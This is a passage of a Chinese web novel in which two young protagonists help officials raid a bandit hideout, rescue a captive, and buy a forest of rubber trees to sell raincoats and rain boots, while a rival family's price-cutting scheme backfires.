另外那边身穿银红色狐狸袄子的女子吃吃笑道:“哟,这是心疼你前夫了啊!” 许美仙是个泼辣的性子,正要顶回去,忽而眼珠子一转,摸着肚子娇弱喊道:“啊哟,儿子被熏到啦?” 银红色女子气得冷哼一声,白眼翻到了天际:“不就是块肉么,生不生得出来还两说呢!” 坐在大靠椅上的男子,一直板着脸,冷冷的听着身后两个人打嘴架,这话不入耳,顿时不满:“行了,容娘!” 他起身扶着许美仙:“这里血腥,不适合孩子看,你先回屋去。我让厨房给你炖了燕窝,赶紧趁热喝,别饿到孩子。” 汉子高壮魁梧,穿着黑色狐狸皮大衣,越发如同黑熊一样强壮,语气不容置疑。 许美仙乖巧得像只小猫咪,哦了一声,捧着平敞的肚子,炫耀似的往容娘面前晃悠两圈才走。 郭守云和刘青青面面相觑,对视了一眼,小心退到外面,她靠在一颗大树上,脸上如便秘一般:“许美仙改嫁了?” 改嫁不奇怪,但和二贵叔才和离了三个月不到,迫不及待改嫁给人当小妾,真为二贵叔不值当。二贵叔这么多年在村子里把她眼珠子一样护着,宁愿冒险自己上山打猎,也不愿意让许美仙下地干活,养得白白嫩嫩娇宠着,就宠出个这样的货色啊。 郭守云点点头,不仅改嫁了,看着孩儿都有了。 两人嗟叹了一场,扯回正事。 棉花黑炭跑了回来,凑到郭守云面前一副没精打采的模样。 郭守云揉了揉它们头顶的毛,面色难看道:“进了这个山坳,有一股难闻的味道,棉花黑炭被熏得昏头涨脑,很是不适,要不我们先出去。” 两人跟着棉花黑炭,提前避开巡逻的士兵,小心的走出山坳。 到了安全的地方,刘青青掏出小本子,快速的将地形房屋图简单的画了出来。郭守云接过笔,在各个地方打了一个点。 刘青青挑挑眉,郭守云解释:“这些地方都有人。” 看着图形上密密麻麻的黑点,刘青青一一对照,和印象中那些人站的位置大差不离。她震惊了:“屋子外面有人我也看见了,像这个黑点在屋子里,你如何知道有人在里头?” 郭守云茫然了一下,这不是明摆着的么? 他看着刘青青,发现她不是在说笑,摸摸鼻子认真解释道:“诺,当时屋子外的这两个人同时往后看了一眼,他们笑骂了一句又转了回去。” “说明屋子里有人喊他们,或者和他们说了什么” 啧,这观察力简直绝了。 但也有些绝望。因为图上的黑点,已经有七十八人。 刘青青愁眉不展:“看他们那个庄子,全是年富力强的青中年汉子,我们完全不是对手啊。” 青华园职工上上下下有两百多个,人数占着优势,但那是干活的,不是专业打架的,对上这些悍匪,赢面几乎没有。 郭守云顿了一下道:“这些人,应该不是常驻在这里。” “要不我们等他们人少的时候来伏击,救回二贵叔他们?” 刘青青:“他们为什么会人少?” 郭守云指着图纸上的黑点,一一给她解释:“除了黑熊男身后的两个女子,这些人里头全是男子,但他们看许美仙和红衣女子的眼光很淡然,一个偷看的都没有。 说明他们能经常见到女子,或者拥有自己的老婆,也就是说,他们的家室没在这里,这只是暂时聚集的一个据点。 最多三两天,肯定是各归各家。 而且他们有个共同特征,对于黑熊男子的吩咐,动作利索统一。 右肩普遍比左肩高,想来平时的活计中,经常使用右肩,是什么样的活计,能召集这么多的壮汉听命,干的又是右肩用力的活计?” 答案已经非常明显。 两人同时想到了水运裴家。 船只顺流而下,省却了无数的力气,但大船逆流而上的时候,需要纤夫共同拉纤,粗壮的麻绳压在肩膀上,跟随号角统一发力,让这些人对发令者的号令,潜意识里统一整齐。 这便对得上了,听说裴家车马行控制着常平县到府城的水运,因为刘家将老虎左走,陆运恢复贯通,走水运的人,几乎没有,新仇旧恨之下,裴家车马行报复青华园,逻辑上说得通了。 逻辑上通了,刘青青越发对裴家车马行看不上眼。 实在贪心不足蛇吞象。 裴家控制着常平县到府城的水路,但凡服务意识稍微好一点,不要这么嚣张拔横,也不会让常平县的大小商家,宁愿车马颠簸走陆路,也不愿意走水路受气。 底细摸清后,两人直奔知府衙门,找卢雪樵告状去。 卢雪樵已经睡下,被管家叫醒说是有天大的事情,当看到下首两个徒儿后,他没好气道:“什么事?”不能留着天明么,非要大半夜折腾。 刘青青眼睛放光:“师父,你知道裴家么?” 卢雪樵打了个哈欠:“知道啊,他们家也是惨,多年前养了个八岁的儿子,结果踏青的时候走入了迷障森林,再也没有出来,可惜!” 郭守云和刘青青面面相觑:“迷障森林,那是什么东西?” 卢雪樵半眯着眼介绍:“府城南边十多里有一个山坳,里头的树木茂密,还会分泌难闻的汁液,人在里头,时间长了便昏头涨脑,甚至一睡不醒” “自从他们家儿子进去迷路再也没有出来后,时不时能听到女子的哭笑声,一片山坳人迹罕至,成了南平府一处鬼地,再也没人敢靠近。” 第126章 第126章救人 刘青青觑着卢雪樵的脸色:“先生,你可知裴家是开车马行的,手里控着常平县到府城的漕运。” “每一家商贩除了货物的运费,还要另外给他们家一笔平安银,下面百姓一片怨声载道。” “若头铁不给,商船要么半路漏水货物损坏,要么遭遇水匪人财两空。” 这不是一例,世间哪来如此多的巧合,还不是人为操纵。 卢雪樵沉默了半响,微微叹了一声:“此事慎重。每个地方的水运,养活了无数的漕工,每一个漕工背后便是一个家庭,这关系到一方安宁。” 所以,即便官府晓得水匪作乱,但也不好铲草除根,每次意思意思糊弄糊弄过去。 刘青青皱眉:“先生,这是自欺欺人,你明知道这是颗大毒瘤,却任由它长大发酵,总有一天会爆发的。” 面对她的义愤填膺,卢雪樵无动于衷,甚至不以为然:“良田有限,人力空置,若把这批人的生计破坏了,那才是不确定的因素。 不过几个空有蛮力的民夫而已,放心,不会成为什么大毒疮。” 刘青青心内叹息,这些民夫已经有了早期漕帮的影子,若继续发展下去,只怕会发展成影响帝国的大帮派。 这些不是她一个小老百姓要操心的事情,刘青青收回思绪:“先生,今夜来寻你,是因为他们劫走了我们的货物,绑走了我们运货的伙计,藏在米障森林里讨要赎金。” “先生,这些盗匪无恶不作,嚣张跋扈,为非作歹,是时候让他们感受到帝国的铁拳了。” 卢雪樵摸了摸胡须:“迷障森林啊,那里老邪门了!”官府定例,每年剿两次匪。年中一次,年末一次,即便刘青青不来,过个十天半个月,差不多也该剿匪了,就像家宅每年都要大扫除一样。 往年顺着河岸扫一遍,水匪大佬们心中有数,该躲的躲,该藏的藏,留下三两小杂鱼,官府门面上好看。 他正骂水匪这两年越发狡兔三窝,缴获的赃款还不够剿匪的开支,刘青青就送来了这样的大礼。 普通人哪里想得到米障森林里竟然另有乾坤,这肯定是水匪的老巢,衙门今年的炭火银子,可算有着落了。 既然是盗匪老巢,想必守卫森严,万一伤亡惨重,不好交差啊。 刘青青连忙掏出自己的小本子呈上去:“路线我们探好了,顺着这条路走,保证不会出问题。” 卢雪樵看着上面清晰的路线,甚至每一处岗哨上约摸有几人,都标注了出来,心内大慰,看他们越发顺眼,真是老天送来给他的好徒儿。 卢雪樵当场拍板,即刻召集人马,夜袭迷障山林,给盗匪一个措手不及。 这一夜注定是不平静的。 知府衙门上百名的官兵好手被紧急调起,集队坐着马车往城外飞奔而去。 在迷障 山林外下了马车,卢雪樵立马发感受到身边郭守云的不同,他轻飘飘跟在身后,和野外融为了一体。 卢雪樵看着前面漆黑的山林,在残月下黑黝黝的,好似会吞人的巨兽。他正犹豫这派出几个斥候,郭守云自动请缨:“你们紧紧跟着我!” 他一个闪身,如乳燕投林,一头轻巧的扎进了山林。 卢雪樵犹豫了一会,摆摆手,身边的官兵得了命令,鱼贯而入。 官兵们跟在郭守云身后,绕过来走过去,避开无数的尖刺陷阱。 如闲庭散步,在林间穿梭了约摸半个时辰,便看见了位于山坳中心的许多茅草房。 寨子里静悄悄的,想必盗匪都在熟睡。 众人对郭守云佩服得紧,这识路的能力,他们在大白天也赶不上。 众官兵互相对了个眼神,露出惊喜,今年的业绩有着落了。提着弯刀分组悄悄摸进茅草屋,一个刀背一个,打晕再说。 少有几个惊醒的匪徒,天降神兵,吓得苍蝇一般乱转,被捂着嘴巴一顿胖揍,喜提五花大绑臭袜子塞嘴待遇。 如此决绝掉了大部分,只剩下中间的关押人质的议事厅,和周边几间明显豪华些的小木屋。 众人正要依葫芦画瓢趁着匪首睡梦中将人拿下,偏偏发生了意外,门竟然打来了,从里头闪出一条瘦弱的人影,蹑手蹑脚偷偷摸摸往关押任职的议事厅去。 趴在阴影后的众人:“……” 人生处处是惊喜。 你道是谁,原来是许美仙。 她裹在全黑的披风里,闪身进了议事厅。 月光照在她脸上,穿金戴银浓妆艳抹的她,充满了油腻,再也没有子啊清水沟时的那份泼辣纯粹。 赵二贵痛哭的闭上了眼,但心里还有一点点小希望:“你来作甚?” 难道是于心不忍,来偷偷放他走。 让他失望了,许美仙嗤笑了一下:“自然是来告诉你,我现在的日子有多爽快!” 她晃了晃手腕上的金镯头,踢了踢脚下订着明珠的绣鞋:“赵二贵,我当初水灵灵的小姑娘,眼瞎跟了你半辈子,为你生儿育女,结果呢,你这个窝囊废,自己没本事赚钱让家人享福,还挡着儿子上进,你也有今天,真是老天开眼。” “儿子被亲家看中,委与重任,当将来的接班人培养。你好好的窝在清水沟不好么,做什么来府城?让大家晓得,风光无限的裴家少家主,竟然有这样一个窝囊废爹,你让他如何做人?” 赵二贵气得脑袋直突突:“愚蠢,给他穿身好衣裳,让他跟着去酒楼吃几顿饭,便是重任了么,我看你们都是人家养的哈巴狗,高兴的时候赏你们几块大骨头,不高兴时,还不定怎么收拾你们,我呸!” “许美仙,你自甘下落,给人做妾,才是丢人,不仅丢了许家的脸,冬子,因有你这样的娘而被耻笑!” 许美仙一噎:“你这是嫉妒,嫉妒吕哥比你会赚钱,比你有钱有势,更爷们。” 这样的侮辱,哪个人能忍,赵二贵气得又吐了一口血:“我呸,你竟然将我和一个下三滥的盗匪放在一起比,我真是猪油蒙了心,当年才会聘你。 果然如父亲所说,又蠢又坏的毒妇。” 许美仙被他骂得一愣,即便和离,赵二贵都没这样说话,今日真是吃了屎了,三更半夜跑来自找麻烦。 她冷着脸从怀里挑出一个小瓷瓶,晃悠悠凑到他的嘴边:“你喝下罢,喝了后一了百了,冬子以后不会因为你蒙羞丢人。” 赵二贵不敢置信的看着她,两人夫妻一场,只因为他身份低微,便要被嫌弃谋杀么。 他扭过头不肯咽下去,许美仙掰着他的头,强迫他必须喝下去。 正僵持着,门口又进来两人,便是吕老大和容娘。 吕老大面色铁青:“许美仙的,大半夜的你不睡觉,做什么?” 一旁的容娘幸灾乐祸笑道:“自然是来相看前夫。哟,不愧是原来的夫妻,这么一会都亲上啦?” 吕老大脸已经黑得像锅底,冷哼一声。 许美仙手一抖,小瓷瓶便掉在地上,流出褐色难闻的的液体。 她跪在前面指天发誓:“吕哥,我,我不是来看他,我是来送他走。” “我悔,悔没有在年轻的时候遇见你,被他耽搁了大半辈子,我恨哪,恨不得没有他这么个人!” 许美仙一番唱念具做指天发誓灵魂表白,赵二贵恶心的翻了个大白眼,恨不得刮了自己的耳朵。 不过吕老大却出这一套,脸色好了许多掺起许美仙:“你肚里还有孩子呢,这些小事莫要脏了手,我来就是!” 他踢了踢无法动弹的赵二贵,捡起地上的小瓷瓶掰开赵二贵的嘴正要倒进去,勿的飞出了一只弓箭,打飞了小瓷瓶。 吕老大身手还算灵活,就地一滚,避开了后面的无数飞箭。 他一面躲避,一面大喊:敌袭,敌袭…… 让他失望了,到处静悄悄的,没有人回应他。 吕老大不得不接受他成了光杆司令这个现实,最终腿弯中了一箭,被拿下。 脸贴在地上,沾满了灰尘。 变故来得太快,跪在地上的许美仙吓得趴在地上不敢动,容娘见势不对,转身便跑,被围着的官兵捉住,和吕老大丢在一起。 刘青青郭守云跑进来,焦急的查看赵二贵的伤势,大家都围在他身边,表达自己的关切。 什么时候,她视为窝囊废的前夫,竟然这样得人心? 许美仙茫然的看着一切,不明白为何形势瞬间天翻地覆,吕老大是她能挑出的最有钱有势的人,是亲家母的哥哥,在儿子的婚宴上,众星拱月,风光体面。 她费劲心机,好不容易通过怀孕榜上了,还没跟着威风了几天,这就翻船了? 许美仙看看被官兵脚踩着,脸趴在地上的吕老大,再看看被绯色高官亲切问候的前夫,眼底闪过悔意。 她是个能屈能伸的,一把扑在赵二贵的脚边:“贵哥,我错了,我鬼迷了心窍,折腾了一圈才发现,你才是对我最好的。我们不和离了,收拾收拾,这就跟你回去!” 刘青青:“……” 郭守云:“……” 肚子里揣着其他男人的崽,她是怎么有脸皮说出这样的话。 眼看赵二贵被气得几乎一口气上不来,刘青青正要开怼,被郭守云捂住嘴:“让二贵叔自己决定!” 赵二贵:“……” 他凄惨的勾了勾嘴角,笑得比哭还难看:“许美仙,你把我当什么?你呼之即来挥之即去的狗么? 我赵二贵虽然是个种田的,但活得清清白白,你这样见异思迁的女人,我高攀不起,你和你的新欢,一起下大牢成双成对去!” 第127章 第127章臭树 许美仙满脸不可置信,状若癫狂,赵二贵这个窝囊废,竟然敢反抗她?跳起来竟想挠人。 卢雪樵嫌弃皱眉,跟来的随从立马将许美仙等人,嘴巴腮上臭袜子,捆得结结实实带走。 不一会,师爷韩三奇着人抬着两个大箱子来,在他耳边悄悄说了一句,卢雪樵眼底里都是喜色,看向郭守云刘青青的目光,更加慈爱:“好徒儿,你们立下大功了!” “此次深夜突袭,不伤一兵一卒,竟然将全部盗匪一一缴获,师爷适才对比发现,里头竟然躲着一个衙门在逃的杀人犯。” 啧,这可以在政绩薄上大大的添加一笔。 除了将贼寇抓捕规范,还缴获了金银珠宝十三万两,慈善局里的老人孤儿的过冬衣食有着落了。 “你们可要什么奖励?” 郭守云老实道道:“我们什么都不缺,不要奖励!” 刘青青给了他一肘子,笑嘻嘻道:“先生,这个山坳位置偏僻,易守难攻,如若荒废了,难免又有贼寇宵小在此落脚,不如卖给青华园罢,我们把这里开垦出来,弄个庄园,种些果蔬也能供应青华园。” 卢雪樵耷眼一扫,除了脚 下这一片被盗匪砍伐出来的平地外,四周全是茂密的树林,这样的林子开荒,投入实在是大。 心里对刘青青多了一分喜爱看重,瞧瞧这样的机灵体贴人儿,为了不让这里再变成贼窝,干脆自己弄过来,宁愿吃亏受累也要为府衙分忧。 这觉悟,没的说。 他想同意,转念又觉得,两个孩子立下这样的大功,用这么一片贫瘠的林子换,好似有些不大地道。 更让他觉得刘青青做事讲究的是:“先生,我们不白要,就按照市价买就行,这里应该是无主的罢?” 卢雪樵都要感动哭了,这徒儿实在是一点都不肯让他为难啊。既然小姑娘一片孝心,便收下这片心意,从其他地方找补她。 他立马询问师爷韩三奇。 其他地界韩三奇不一定记得,但这一片林子,韩三奇实在太熟悉了。 因为地契他经手过好几次。 迷障山林距离府城不过十多里,按理说应该早就成了府城豪族的地盘,偏偏这里邪门,天生地长一种臭树。 挖了又长,长了又挖,只因为臭树根系发达,具有强劲的生命力,根本挖不绝。 也有人试过把臭树当木材来用,可惜,臭树不愧是臭树,砍伐晾干后依旧有一股天然的臭味,就像鲜肉在夏日放了半个月的味道,经久不息,虽然便宜挺直,但这样的木材作出横梁家具,谁也抵不住那个味啊。 所以,臭树林就剩了下来,成了南平府俯郊一片无主的空林子,慢慢的,成了藏污纳垢之地。 加上宵小有意设置机关,让误入的人有进无出,成了臭名昭著的迷障森林。 韩三奇算盘打得噼里啪啦想,只要这一片林子卖出去,府衙又能有一笔税收。他露出和蔼的笑:“大人,这一片迷障山林占了十个山头,八个山坳,约摸有一万亩。 府城周边的林地,成交价至少在五两一亩,不过,这一片林子需要花费大量的人力物力开垦烧荒,刘姑娘若想要,价一两如何? 而且,前三年不用上税,第四年才上税。”说完,他便后悔了,这片地根本卖不掉,虽然价格才一两,但根本没用啊。可是不能再降价了,衙门有最低价格标准呢。 万一刘青青不要,是不是又砸在了手里。 刘青青按捺住咚咚咚跳个不停的心脏,笑嘻嘻道:“劳烦师爷帮我们定下,等天明,我便来衙门过户。” 面对韩三奇终于甩手个烫手山芋的眼神,卢雪樵疼惜慈爱的目光,郭守云却是若有所思:刘青青这天很反常,一开始便不停的盯着身边的臭树看。 那会子绊了一跤撞在树上,额头就起了个包,但她不恼反笑,看着这些臭树,就像看金元宝。 难道,她闻着树不臭,是香的? …… 众人将匪盗一根绳子绑了,顺着府城一路游街示众。盗匪们平时欺压百姓,此举可谓大快人心,百姓们拍手称赞。 南平府衙的呼声,一时空前绝后。 盗匪后面的马车上坐着青华园的伙计,看第一个魁伟的汉子满头满脸的伤,大家自动脑补,原来是青华园的伙计应了衙门的要求,自愿当诱饵,深陷虎穴,迷惑匪盗,衙门才能将这些坏事做尽的盗匪,连根拔起,一网打进。 瞬间,除了府衙,青华园的名字,在每一个百姓嘴中称赞。 青华园成了南平府的第一园林,游玩踏青的第一选择,只要沾上青华园的名字,总能让南平府的百姓,有一个亲切安心的感觉。 此举是刘青青没有预料到的,她和郭守云骑马先到了医馆找大夫,嘱咐不能被颠簸的伙计们,跟着衙门的马车回城看,哪知道引起了这么大的误会。 等她知晓的时候,赵二贵等人压回来的货,在衙门口,被围着的百姓抢购一空。 张和得到消息赶到的时候,看着空荡荡的车板,不知道该愁还是该笑:“完了,完了,断货了,我们青华园里的存货都卖完了,接下来卖什么!” 不仅如此,刘青青还让他提了三万两银子出来,闷声不坑的将城外的臭树林给买了。 他急得直抓头发:“我们的指甲刀剃须刀卖得红红火火的,不如新建几个作坊,继续卖这些实用的小物件。” 张和的想法是,将剃须刀卖遍整个赵国,最好北方的金国也来求着买就好了。金国人天生胡须茂密,更需要这些东西。 刘青青烦恼他的婆婆妈妈,不耐烦挥挥手:“行了,你去医馆里照料受伤的伙计,我自有安排!” 两人翻身上马,一溜烟跑了。 吃了一肚子马蹄灰的张和:“……” 两个人又丢下他悄咪咪的去做坏事,说好的青华园二把手呢?骗人。 刘青青一股作气跑到了迷障山林,刘青青看着眼前的臭树,傻笑着掏出新鲜出炉的地契,上面一万亩的臭树林是青华园的。 郭守云见她笑得口水都流了出来,掏出帕子帮她擦了擦:“行了行了,不就是几棵树么,看把你给乐得。” 刘青青拉着他的手,乐得看不见眼,得意得像翘起尾巴的小狐狸:“这可不是一般的树,这是三叶橡胶树!” 是天然橡胶的主要树种。 其实,橡胶就在我们身边。 无处不在的蒲公英,你轻轻掰开,顿裂的根茎分泌出的白色汁液便是天然橡胶,还有杜仲树,只不过这些植物橡胶含量低下,不容易提炼。 但是三叶橡胶树不一样,只要顺着树干划拉一下,白色的汁液便顺着裂开的树皮汩汩冒出,像孟姜女的眼泪一样,不哭个三五载,是不会停的。 郭守云深深的看了刘青青一眼,随着两人相处的时间越长,他发现,刘青青总会知道一些莫名其妙的东西。 一个人腹中的知识,不是凭空冒出来的。 一开始,刘青青对大家的解释,这些知识,是从书上看的。 之前,他半点没起疑。 但是,刘青青与他共用一个书房,她所有的书,他都看过,郭守云记性不算差,从来没有哪一本书,上面有三叶橡胶树这几个字。 怎么办呢,面前这个身体里,也许住着一个天上掉下来的仙女。 但是,那又有什么关系,从他看见她的第一面,就已经是她了。 他幽幽的叹了口气,今晚回去,熬肝呗,想办法弄一本有三叶橡胶树的游记出来藏在书架上,免得以后被他人捉住马脚。 一直来聪明伶俐的刘青青,在他面前不再完美得无懈可击了,终于发现了她没藏好的小尾巴。 有了共同要守护的秘密,郭守云感觉两人的关系又亲密了些,他嘴角微微勾起:“这个树,除了哭,还会干吗?” 趴在树上这里看看,那里摸摸的刘青青差点没被他的话,刺得趴地上。 什么叫只会哭的树,这树作用大了。 她简单的举了个例子:“若下雨了,你必须外出又不想淋湿衣服,怎么办?” 郭守云对上她考教的目光,一时拿不准该怎么回答,试探道:“光着身子?” 刘青青:“……” 忘了,这人当了好些年的野人,若不是她用大白鹅威胁了整整一个月,他会一直保持夜里四处遛鸟放风的习惯。 刘青青气哼哼道:“你笨死了,当然是用这个橡胶做衣服,穿上就不会把衣服淋湿了!” “最最重要的是,用这个橡胶做鞋,下雨也不会进水!” 除了做衣服做鞋,橡胶能做的东西多了,比如可以阻止生命的产生,实现计划生育,一对夫妻只生四个孩。这话不适合从她嘴巴里说出来,她便没提。 想了想,刘青青问道:“你喜欢坐马车么?” 郭守云有些跟不上她的思路,橡胶可以做雨衣雨鞋,和马车有什么关系,难道要把马车也穿上雨衣? 斟酌应和道:“你意思是个马车换上你说的橡胶雨衣,马车变轻,同样的一匹马走得更远,这是个好主意。” 刘青青露出孺子可教的眼神:“你说得不错,最重要的是,我们可以把马车木轮子换成橡胶轮子,马车不再颠簸,能提高马车的舒适度。” 郭守云还是不太明白,这么把眼前粘稠的白色的液体,变成马车的轮子,不会流走么? 他求生欲很高很配合的点点头,表示听懂了:“知道了,就像给人穿上鞋子一样,舒适还不会进水。”他不懂马车为什么要穿鞋,反正刘青青说的,一定是对的。 第128章 第128章小模特 南平府的天气,说变就变,昨日还是艳阳高照,晒得人满脸发红,早上下了一场小雨,气候变得凉飕飕。 府学们早起苦读的学子,讨厌这样的天气。悲鸣着换上木屐,撑起油纸伞。 远远观望,毛毛细雨烟雨朦胧,各色的油纸伞下,着天青色学子服们的学子,慢悠悠走在如 诗如画的府学中,好一副积极向上的求学图。 要不是一路上摔了好几个大马趴,就更美了。 学子们小心翼翼护着怀里的书袋,感受着风雨的方向,随机调整油纸伞的方向,尽量将头脸藏在伞下。 衣衫不可避免的被雨水淋湿,也管不得那么多。 脚下穿的是木屐,硬邦邦的,咔哒咔哒敲击在青石板路上,不小心踩在青苔上,立马能和充满水渍的大地亲密拥抱,这样的话,今日的衣衫算是废掉了,回去重换。 在一众艰难行走的人群中,郭守云格外的亮眼。 和大家一样,撑着一把伞,但是,他的伞更大更圆,遮挡两个人绰绰有余。除了伞之外,他身上的衣衫和大家的不一样,偶尔有雨水突破大伞的包围圈,砸在墨绿色的衣衫上,却没能印出难看的痕迹,而是徒劳的打几个滚,顺着衣衫不甘心的滑落,滴在了地上。 溅成无数的小水滴。 若以为他的鞋子会湿透,那你想错了,他穿着一款墨绿色的靴子,滑溜溜的,靴口伸到衣衫下摆里头。 大家小心翼翼控制这不摔倒的时候,他能灵活的左闪右避,快速的超越所有人,却不碰撞到任何一人。 从他走路的步伐来看,他脚下的鞋子可以弯曲贴合脚掌,鞋底复杂的纹路可以防滑,大家立马发现了其中的精妙。 大家互相对视一眼跟着去到黄字班的门口,果然,郭守云潇洒的放下雨伞,解开胸前的木扣子将雨衣脱下,下面天青色的学子服干爽整洁。 最后,他脱掉靴子,整齐的摆放在廊下大家放木屐的地方,换上自己的布鞋。衣衫整洁干爽施施然走进了课室。 他的袜子是干净的,没有湿! 众多学子低头看看自己的木屐,对比实在惨烈。木屐上雪白的袜子已经被泥水溅得惨不忍睹,大家书袋里一般还备了一双干净的袜子替换,但是,脚也被溅湿了,即便换了干净的袜子,脚丫子里还藏着些泥巴水。 大家眼睛红通通的看着郭守云晾在廊下的雨衣雨靴,恨不得占为己有。 不可以,不可以,我们都是读书人,不问而取是为偷。 他们眼疾手快逮住赶着进课室的陈敬:“把那个最整洁的小子叫出来,快!” 什么叫最整洁的小子? 陈敬麻溜钻进课室,打眼一看,全班只有郭守云一人,衣衫干爽整洁,其他的多少湿了些,或沾了点泥点子,他立马走到他面前:“阿云,外有有人找。” “你别怕,我们一起给你壮胆。”几人提了扫把等物,护着郭守云出来。 郭守云已经发现了外面的动静,不解的出来,看到外面围得水泄不通恨不得一口将他吞下的诸人,不动声色的将陈敬手中的扫把握在了手中:“各位师兄,云什么地方得罪了诸位,还请指明?” “啊,得罪? 不不不,师弟误会了,你并没有得罪我们。只是,我们想买你的衣裳,靴子,多少银子都可以!” “我出十两银,你把那件防雨的衣裳卖给我,好么?” “我出二十两” “三十两” …… 郭守云:“……” 没答应卖,这些人干嘛开始叫价。 他高声喊了一声:“各位师兄,我不卖!” 廊下的诸多学子也不争了,对着他不满道:“哦,是嫌价格低了么?”也太贪了些。 郭守云等大家静止下来,解释道:“雨衣雨鞋符合我的体量,卖给你们,也不合穿啊。” “这是青华园的新品,你们只管让家人帮你们去买就是,不用十两,只要一两就能买一件雨衣啦。” 得了他的介绍,众学子立马作鸟兽散开,打发身边的书童回家传信。 裴家大宅,裴老爷坐在上首,合眼把玩着手里的核桃,吕氏焦急的在花厅里走过来走过去。 裴娇悠闲的吃着点心,赵兴冬大气不敢喘,缩在裴娇身边,心不在焉的帮她剥瓜子壳。 今天是裴家百货铺开张的日子,不晓得生意如何。 吕老大是吕氏的弟弟,裴娇的舅舅,许美仙和吕老大搅和在一起,赵兴冬也是他们被游街示众的时候才知晓,又惊又愕,气了个倒仰。 吕氏生气之余,劝说裴老爷:“如今那位有了吕家的骨肉,虽然名声不好,但那是我吕家唯一的独苗苗,必须保下来。” 一哭二闹三上吊,欲将两人从大牢了捞出来,许美仙入行不深,没费什么功夫,至于吕老大,竟然追查出命案在身,苦主告状,即便花费了无数的银钱,怎么也洗不白,被判了杖毙。 其他的盗匪,欠命的还命,欠账的还钱,一切按律法来,一时之间南安府治安清正了不少。 唯一的弟弟命丧黄泉,吕氏不检讨自家人的霸道,反而怨恨上青华园,下定决心整垮青华园。 赵兴冬出了个主意:“青华园根基浅薄,售卖的那些物件,我让人买回来,已经仿照成功,不若大肆生产,抢占青华园的份额,将它们打趴下!” 他的思路与吕氏一拍即合,两人大力运作,在最热闹的街上,弄了个铺子装修好,开了个裴家百货铺子。 赵兴冬做生意确实有一二分头脑,凭借裴家车马行各处的商路,让伙计将给地的特产带回来,整合在一起,形成了这个具有特色的铺子。 他的想法是好的,但是,胜负心太重,抱着一定要把青华园打趴下的心思,青华园内的特产,比如明星产品吹风机、剃须刀、棉被、棉衣等,都被仿制后低于青华园二成的价格出售。 还有棉被,棉衣,赵兴冬寥寥而谈:“冬日来临,雨水潮湿,舍不得买衣的学子们,至少置办两套衣衫,才够置换,所以棉衣肯定大卖,我们可以多压一些。” 依旧是以低于市价两成的价格出售。 好不容易挨到开业首日晚间,裴管家跑了进来禀报:“老爷,夫人,我们的棉衣,全卖完了!” 吕氏合掌而笑:“太好了,阿冬不错不错,有做生意的天赋。” 裴老爷也睁开眼睛,轻飘飘瞟了他一眼。 裴管家觑着几人欢喜的神色,半响为难道:“不过,青华园并没有卖棉被棉衣,他们主打的特产是雨衣雨靴。” 他话还没说完,赵兴冬的手一抖,装瓜子仁的浅绿莲花碟哗啦掉在地上摔了个粉碎。 什么,青华园没有降价出售棉衣棉被,那裴家百货铺子,折价为的是什么。 说好的价格战抢占市场呢? 厅里几人对视一眼,脸色变得难看,心底升起一种闷闷的感觉。 就像你给对方挖了一个大坑,结果对方不从地上走,直接荡着树枝滑溜的飞过去,自己却被挖坑的石头砸到了脚。 管家觉得,伸头一刀缩脖一刀,迟早要死,干脆把消息报得明明白白。 “青华园虽然没有降价,但是他们的生意依旧火爆,他们出了新品:雨衣,雨靴,穿上后在雨中行走不湿身。” “价格很昂贵,一件普通的雨衣,竟然要一两银,而且不批发,只零售,凭借户籍购买。” 各家都派了小厮去 采购,少的富户至少三件水衣,七八双鞋子,多的时候不限量。 据奴婢派去的小厮回来说,青华园今日至少卖出了上万件雨衣,毛利一万两以上。 赵兴冬:“去打听,他们的雨衣用什么做的,找到供应商,将原料高价买回来。” 管家觑着他们的神色,半响才幽幽道:“供货商就是我们。 吕大爷劫持了青华园的伙计进了迷障树林,刘青青带着人,顺腾摸瓜找到,从而发现里头的臭树。 原来臭树还有个名字,叫三叶橡胶树,只要在树皮上割开一个口子,就有雪白的连连不断的分泌物橡胶流出,青华园经过大量的试验,发现这些液体凝固后,可以做成雨衣,雨靴。” 听到这话,裴老爷的核桃转不下去了,他猛地睁开无声的双眼。 那片臭树林他知道,曾经属于他们家财产之一。他嫌弃那片林子开垦难度太大,却要交税,使了个计策,将那片林子还给官府。 现在,管家告诉他,曾经在他们的眼皮底下,嫌疑无用的臭树,流出的汁液竟然能作出价值连城的雨衣,雨鞋,有种错过了一个亿的窒息感。 后悔,肉疼,无数的情绪交织在心中,最后变成了一个叹息。 吕氏垂足顿胸,对着裴老爷一阵埋怨:“都怨你,好好的,作甚把那片地还给官府,现在好了罢,那不是臭树,而是片摇钱树。” 裴老爷脸色阴沉:“当初是谁日日抱怨那块地不吉利的,如今又赖我!真是,妇人的脸,六月的天” 哐啷把核桃砸在桌上,甩袖离去,他要去小妾那里,听听曲儿喝喝酒,不然要被气死。 等他走后,吕氏擦干眼泪一屁股坐在主位上,对着赵兴冬勾勾手:“女婿,你去一趟迷障山林。” “你悄悄带人过去,想办法弄一批橡胶过来,我们也卖雨靴!” 临行前,赵兴冬来到后院,见到已经显怀的许美仙,面对这个熟悉的人,他不愿意再叫阿娘,嫌弃的退了一步,“我要去迷障山林,你是不是知道路?” 第129章 第129章尊贵的会员 朱拂气哼哼的上了马车,朱临真是有病,好好的在府学读书,打发小厮回来去帮他买什么雨衣,还说立马去,去晚了便没了。 因气候变化,阿娘偏头痛发作,好不容易迷瞪了一会,听到他的传话,立马起身换衣,竟是一刻也等不及。 她看看外面阴沉沉的天气,放心不下阿娘,跟着一起去。 等晚间回来,必定要给他一顿好打。 这样细雨纷飞的日子,即便只是经过家里的花园长廊,鞋底也被湿气弄得凉飕飕的,坐上马车的朱拂立马脱掉鞋子,换了双新鞋。 踩在脚炉上好一会,冻僵的脚底板才慢慢暖和起来。 到了青华园,与预料中的冷冷清清不同,竟是挤满了人。 跟来的婆子打听回来,一脸不岔道:“全是来抢购雨衣雨鞋的,我报上了府城朱家的名号,伙计是个傻愣的,竟然给了我个牌号,说是按号购买!让我们先去其他店里逛一逛。”婆子满脸不岔,朱家矗立府城多年,头一次受到这样的慢待。 朱拂瞟一眼她手中的号牌,是一百零一号,刚才进去的那个是七十一号,还有三十多家。 因在马车了吹了这半天的风,阿娘的头疼病又发作起来,难受的皱着眉,这个样子如何逛。 朱拂劝她:“阿娘,要不你先回去歇着,我帮阿弟买回去就是。”要她说,不过几样玩意,打发管家来就是,偏偏阿娘不放心,说什么阿弟第一次火急火燎的讨要物件,定要给阿弟亲手挑一挑。 汰,不懂事的小屁孩。 